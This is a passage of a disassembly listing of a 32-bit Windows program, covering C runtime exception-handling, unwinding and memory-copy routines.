		cmp	eax, 3
		jnz	short loc_40B98C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_40FE24
		add	esp, 10h
		jmp	short loc_40B9EE
; ---------------------------------------------------------------------------


loc_40B97E:				; CODE XREF: sub_40B923+3Fj
		push	esi
		push	ebx
		call	sub_41064C
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B9EE
; ---------------------------------------------------------------------------


loc_40B98C:				; CODE XREF: sub_40B923+3Aj
					; sub_40B923+44j
		fld	[ebp+arg_0]
		fadd	dbl_417630
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_40B9E6
; ---------------------------------------------------------------------------


loc_40B9A9:				; CODE XREF: sub_40B923+2Fj
		call	sub_4104D9
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_40B9CC


loc_40B9BE:				; CODE XREF: sub_40B923+ACj
		push	esi
		push	ebx
		call	sub_41064C
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40B9EE
; ---------------------------------------------------------------------------


loc_40B9CC:				; CODE XREF: sub_40B923+99j
		test	bl, 20h
		jnz	short loc_40B9BE
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_40B9E6:				; CODE XREF: sub_40B923+84j
		call	sub_40FE77
		add	esp, 1Ch


loc_40B9EE:				; CODE XREF: sub_40B923+59j
					; sub_40B923+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40B923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9F2	proc near		; CODE XREF: sub_410F74+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_40B9F2	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40BA26	proc near		; CODE XREF: sub_411125+199p
					; sub_4112E9+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40BA26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40BA2D	proc near		; CODE XREF: sub_411125+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40BA2D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA34	proc near		; CODE XREF: sub_40BBE6+5Cp
					; sub_410F74:loc_410FA5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_40BA5C
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41643E	; RtlUnwind


loc_40BA5C:				; DATA XREF: sub_40BA34+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40BA34	endp

; ---------------------------------------------------------------------------


loc_40BA83:				; CODE XREF: .nsp0:0041659Cj
					; .nsp0:004165B9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_410B79
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAB9	proc near		; CODE XREF: sub_410FEF+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_40BB0D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_411380
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40BAB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB0D	proc near		; DATA XREF: sub_40BAB9+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_410B79
		add	esp, 20h
		pop	ebp
		retn
sub_40BB0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB32	proc near		; CODE XREF: sub_410DBB+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40BBE6
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_40BBB8
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_47F990
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_40BBB8:				; DATA XREF: sub_40BB32+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_40BBD5
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40BBDE
; ---------------------------------------------------------------------------


loc_40BBD5:				; CODE XREF: sub_40BB32+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_40BBDE:				; CODE XREF: sub_40BB32+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBE6	proc near		; DATA XREF: sub_40BB32+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_40BC09
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_40BC56
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BBE6+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_410B79
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40BC47
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40BA34


loc_40BC47:				; CODE XREF: sub_40BBE6+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_40BC56:				; CODE XREF: sub_40BBE6+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BBE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC5B	proc near		; CODE XREF: sub_410C14+C6p
					; sub_410DBB+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_40BCB2


loc_40BC79:				; CODE XREF: sub_40BC5B+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BC83
		call	sub_411422


loc_40BC83:				; CODE XREF: sub_40BC5B+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_40BC98
		cmp	ecx, [eax+8]
		jle	short loc_40BC9D


loc_40BC98:				; CODE XREF: sub_40BC5B+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BCA9


loc_40BC9D:				; CODE XREF: sub_40BC5B+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_40BCA9:				; CODE XREF: sub_40BC5B+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_40BC79
		mov	eax, [ebp+var_4]


loc_40BCB2:				; CODE XREF: sub_40BC5B+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_40BCC6
		cmp	esi, eax
		jbe	short loc_40BCCB


loc_40BCC6:				; CODE XREF: sub_40BC5B+65j
		call	sub_411422


loc_40BCCB:				; CODE XREF: sub_40BC5B+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_40BC5B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCD8	proc near		; CODE XREF: sub_412F2C+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_40BCF0
		push	[ebp+arg_0]
		call	sub_41643E	; RtlUnwind


loc_40BCF0:				; DATA XREF: sub_40BCD8+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BCD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BCF8	proc near		; DATA XREF: sub_40BD1A+Ao
					; sub_40BD82+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40BD19
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40BD19:				; CODE XREF: sub_40BCF8+10j
		retn
sub_40BCF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD1A	proc near		; CODE XREF: sub_411095+Dp
					; sub_412F2C+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_40BCF8
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40BD37:				; CODE XREF: sub_40BD1A:loc_40BD72j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40BD74
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40BD74
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40BD72
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_40BDAE
		call	dword ptr [ebx+esi*4+8]


loc_40BD72:				; CODE XREF: sub_40BD1A+44j
		jmp	short loc_40BD37
; ---------------------------------------------------------------------------


loc_40BD74:				; CODE XREF: sub_40BD1A+2Aj
					; sub_40BD1A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD82	proc near		; CODE XREF: sub_4110B5+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_40BCF8
		jnz	short locret_40BDA4
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40BDA4
		mov	eax, 1

locret_40BDA4:				; CODE XREF: sub_40BD82+10j
					; sub_40BD82+1Bj
		retn
sub_40BD82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDA5	proc near		; CODE XREF: sub_411380+1Ep
					; sub_411380+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_41DBDC
		jmp	short loc_40BDB8
sub_40BDA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDAE	proc near		; CODE XREF: sub_40BD1A+4Fp
					; sub_412F2C+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_41DBDC
		mov	ecx, [ebp+8]


loc_40BDB8:				; CODE XREF: sub_40BDA5+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_40BDAE	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BDC8	proc near		; CODE XREF: sub_40215E+5p
					; sub_4022FD+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_40BDC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDE7	proc near		; CODE XREF: sub_4022FD+69p
					; sub_4023B8+68p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_40D768
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40BE26
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40BE33
; ---------------------------------------------------------------------------


loc_40BE26:				; CODE XREF: sub_40BDE7+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40D653
		pop	ecx
		pop	ecx


loc_40BE33:				; CODE XREF: sub_40BDE7+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40BDE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE38	proc near		; CODE XREF: sub_402790+22p
					; .nsp0:00416215p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40B771
		pop	ecx
		retn
sub_40BE38	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE50	proc near		; CODE XREF: sub_4027FD+3Ap
					; sub_40EC83+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40BE70
		cmp	edi, eax
		jb	loc_40BFE8


loc_40BE70:				; CODE XREF: sub_40BE50+16j
		test	edi, 3
		jnz	short loc_40BE8C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40BEAC
		rep movsd
		jmp	off_40BF98[edx*4]
; ---------------------------------------------------------------------------


loc_40BE8C:				; CODE XREF: sub_40BE50+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40BEA4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40BEAC+4[eax*4]
; ---------------------------------------------------------------------------


loc_40BEA4:				; CODE XREF: sub_40BE50+46j
		jmp	dword ptr loc_40BFA8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40BEAC:				; CODE XREF: sub_40BE50+31j
					; sub_40BE50+8Ej ...
		jmp	off_40BF2C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sar	byte ptr [esi-4113FFC0h], 40h
		add	[eax], dl
		mov	edi, 0D1230040h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40BEAC
		rep movsd
		jmp	off_40BF98[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40BEAC
		rep movsd
		jmp	off_40BF98[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40BEAC
		rep movsd
		jmp	off_40BF98[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40BF2C	dd offset loc_40BF8F	; DATA XREF: sub_40BE50:loc_40BEACr
		dd offset loc_40BF7C
		dd offset loc_40BF74
		dd offset loc_40BF6C
		dd offset loc_40BF64
		dd offset loc_40BF5C
		dd offset loc_40BF54
		dd offset loc_40BF4C
; ---------------------------------------------------------------------------


loc_40BF4C:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40BF54:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40BF5C:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40BF64:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40BF6C:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40BF74:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40BF7C:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40BF8F:				; CODE XREF: sub_40BE50:loc_40BEACj
					; DATA XREF: sub_40BE50:off_40BF2Co
		jmp	off_40BF98[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40BF98	dd offset loc_40BFA8	; DATA XREF: sub_40BE50+35r
					; sub_40BE50+92r ...
		dd offset loc_40BFB0
		dd offset loc_40BFBC
		dd offset loc_40BFD0
; ---------------------------------------------------------------------------


loc_40BFA8:				; CODE XREF: sub_40BE50+35j
					; sub_40BE50+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40BFB0:				; CODE XREF: sub_40BE50+35j
					; sub_40BE50+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40BFBC:				; CODE XREF: sub_40BE50+35j
					; sub_40BE50+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40BFD0:				; CODE XREF: sub_40BE50+35j
					; sub_40BE50+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40BFE8:				; CODE XREF: sub_40BE50+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40C01C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40C010
		std
		rep movsd
		cld
		jmp	off_40C130[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40C010:				; CODE XREF: sub_40BE50+1B1j
					; sub_40BE50+208j ...
		neg	ecx
		jmp	off_40C0E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40C01C:				; CODE XREF: sub_40BE50+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40C034
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40C034+4[eax*4]
; ---------------------------------------------------------------------------


loc_40C034:				; CODE XREF: sub_40BE50+1D6j
					; DATA XREF: sub_40BE50+1DDr
		jmp	off_40C130[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40C048
		dd offset loc_40C068
		dd offset loc_40C090
; ---------------------------------------------------------------------------


loc_40C048:				; DATA XREF: sub_40BE50+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_40C010
		std
		rep movsd
		cld
		jmp	off_40C130[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40C068:				; DATA XREF: sub_40BE50+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40C010
		std
		rep movsd
		cld
		jmp	off_40C130[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40C090:				; DATA XREF: sub_40BE50+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40C010
		std
		rep movsd
		cld
		jmp	off_40C130[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40C0E4
		dd offset loc_40C0EC
		dd offset loc_40C0F4
		dd offset loc_40C0FC
		dd offset loc_40C104
		dd offset loc_40C10C
		dd offset loc_40C114
off_40C0E0	dd offset loc_40C127	; DATA XREF: sub_40BE50+1C2r
; ---------------------------------------------------------------------------


loc_40C0E4:				; DATA XREF: sub_40BE50+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40C0EC:				; DATA XREF: sub_40BE50+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40C0F4:				; DATA XREF: sub_40BE50+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40C0FC:				; DATA XREF: sub_40BE50+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40C104:				; DATA XREF: sub_40BE50+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40C10C:				; DATA XREF: sub_40BE50+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40C114:				; DATA XREF: sub_40BE50+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40C127:				; CODE XREF: sub_40BE50+1C2j
					; DATA XREF: sub_40BE50:off_40C0E0o
		jmp	off_40C130[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40C130	dd offset loc_40C140	; DATA XREF: sub_40BE50+1B7r
					; sub_40BE50:loc_40C034r ...
		dd offset loc_40C148
		dd offset loc_40C158
		dd offset loc_40C16C
; ---------------------------------------------------------------------------


loc_40C140:				; CODE XREF: sub_40BE50+1B7j
					; sub_40BE50:loc_40C034j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C148:				; CODE XREF: sub_40BE50+1B7j
					; sub_40BE50:loc_40C034j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C158:				; CODE XREF: sub_40BE50+1B7j
					; sub_40BE50:loc_40C034j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C16C:				; CODE XREF: sub_40BE50+1B7j
					; sub_40BE50:loc_40C034j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
